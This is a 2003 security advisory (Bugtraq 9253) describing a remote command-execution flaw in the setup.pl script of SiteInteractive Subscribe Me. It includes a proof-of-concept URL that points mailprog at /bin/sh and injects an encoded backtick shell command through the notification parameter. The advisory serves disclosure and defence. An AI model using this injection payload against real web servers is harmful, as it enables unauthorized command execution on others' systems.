SiteInteractive Subscribe Me Setup.PL Arbitrary Command Execution Vulnerability

BID:9253

Info

SiteInteractive Subscribe Me Setup.PL Arbitrary Command Execution Vulnerability

Bugtraq ID: 9253
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 18 2003 12:00AM
Updated: Dec 18 2003 12:00AM
Credit: Discovery of this vulnerability has been credited to "Paul Craig" <[email protected]>.
Vulnerable: SiteInteractive Subscribe Me Pro
SiteInteractive Subscribe Me Enterprise
Not Vulnerable:

Discussion

SiteInteractive Subscribe Me Setup.PL Arbitrary Command Execution Vulnerability

It has been reported that the SiteInteractive Subscribe Me setup.pl script lacks sufficient sanitization on user-supplied URI parameters; an attacker may invoke this script remotely and and by passing sufficient URI parameters may influence the setup script into creating a file. This file can then be invoked to have arbitrary Perl script executed in the context of the target webserver.

Exploit / POC

SiteInteractive Subscribe Me Setup.PL Arbitrary Command Execution Vulnerability

The following proof of concept has been supplied:

http://www.example.com/cgi-bin/setup.pl?RUNINSTALLATION=yes&information=~&extension=pl&config=pl&permissions=777&os=notunixornt&perlpath=/usr/bin/perl&mailprog=/bin/sh&notific
ation="%20.`%2F%75%73%72%2F%62%69%6E%2F%69%64%20%3E%20%69%64`
%20."&websiteurl=evilhacker&br_username=evilhacker&session_id=0&cgipath=.

Solution / Fix

SiteInteractive Subscribe Me Setup.PL Arbitrary Command Execution Vulnerability

Solution:
The vendor has reported that an update to address this issue is pending release.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

SiteInteractive Subscribe Me Setup.PL Arbitrary Command Execution Vulnerability

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